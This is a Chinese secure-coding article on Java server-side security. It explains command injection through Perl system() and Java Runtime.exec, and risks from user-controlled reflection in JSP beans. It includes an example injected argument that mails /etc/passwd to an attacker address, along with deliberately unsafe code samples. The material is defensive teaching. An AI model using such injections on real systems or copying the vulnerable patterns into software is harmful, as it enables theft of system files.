• 软件测试技术
  • 软件测试博客
  • 软件测试视频
  • 开源软件测试技术
  • 软件测试论坛
  • 软件测试沙龙
  • 软件测试资料下载
  • 软件测试杂志
  • 软件测试人才招聘
    暂时没有公告

字号: | 推荐给好友 上一篇 | 下一篇

Java服务器端编程安全必读(下)

发布: 2008-6-04 15:02 | 作者: 不详 | 来源: programfan.com | 查看: 40次 | 进入软件测试论坛讨论

领测软件测试网 关键字:Java服务器端编程

 四、字符串解释执行

  在有些编程语言中,输入字符串中可以插入特殊的函数,欺骗服务器使其执行额外的、多余的动作。下面的Perl代码就是一个例子:
  $data = "mail body";
  system("/usr/sbin/sendmail -t $1 < $data");
  显然,这些代码可以作为CGI程序的一部分,或者也可以从命令行调用。通常,它可以
按照如下方式调用:
  perl script.pl honest@true.com
  它将把一个邮件(即“mail body”)发送给用户honest@true.com。这个例子虽然简单,但我们却可以按照如下方式进行攻击:
  perl script.pl honest@true.com;mail cheat@liarandthief.com < /etc/passwd
  这个命令把一个空白邮件发送给honest@true.com,同时又把系统密码文件发送给了
cheat@liarandthief.com。如果这些代码是CGI程序的一部分,它会给服务器的安全带来重大的威胁。

  Perl程序员常常用外部程序(比如sendmail)扩充Perl的功能,以避免用脚本来实现外部程序的功能。然而,Java有着相当完善的API。比如对于邮件发送,JavaMail API就是一个很好的API。但是,如果你比较懒惰,想用外部的邮件发送程序发送邮件:
  Runtime.getRuntime().exec("/usr/sbin/sendmail -t $retaddr < $data");
  事实上这是行不通的。Java一般不允许把OS级“<”和“;”之类的构造符号作为
  Runtime.exec()的一部分。你可能会尝试用下面的方法解决这个问题:
  Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t $retaddr < $data");
  但是,这种代码是不安全的,它把前面Perl代码面临的危险带入了Java程序。按照常规的Java方法解决问题有时看起来要比取巧的方法复杂一点,但它几乎总是具有更好的可移植性、可扩展性,而且更安全、错误更少。Runtime.exec()只是该问题的一个简单例子,其他许多情形更复杂、更隐蔽。
  让我们来考虑一下Java的映像 API(Reflection API)。Java映像API允许我们在运行时决定调用对象的哪一个方法。任何由用户输入命令作为映像查找条件的时机都可能成为系统的安全弱点。例如,下面的代码就有可能产生这类问题:
  Method m = bean.getClass().getMethod(action, new Class[] {});
  m.invoke(bean, new Object[] {});

  如果“action”的值允许用户改变,这里就应该特别注意了。注意,这种现象可能会在一些令人奇怪的地方出现——或许最令人奇怪的地方就是JSP。大多数JSP引擎用映像API实现下面的功能:
  这个Bean的set方法应该特别注意,因为所有这些方法都可以被远程用户调用。例如,对于Listing 3的Bean和Listing 4的JSP页面:

  (Listing 3)
  public class Example{
  public void setName(String name) {
  this.name = name; }
  public String getName() { return name; }
  public void setPassword(String pass) {
  this. pass = pass; }
  public String getPassword() { return
  pass; }
  private String name;
  private String pass;
 }

延伸阅读

文章来源于领测软件测试网 https://www.ltesting.net/

TAG: java JAVA Java 服务器

31/3123>

关于领测软件测试网 | 领测软件测试网合作伙伴 | 广告服务 | 投稿指南 | 联系我们 | 网站地图 | 友情链接
版权所有(C) 2003-2010 TestAge(领测软件测试网)|领测国际科技(北京)有限公司|软件测试工程师培训网 All Rights Reserved
北京市海淀区中关村南大街9号北京理工科技大厦1402室 京ICP备10010545号-5
技术支持和业务联系:info@testage.com.cn 电话:010-51297073

软件测试 | 领测国际ISTQBISTQB官网TMMiTMMi认证国际软件测试工程师认证领测软件测试网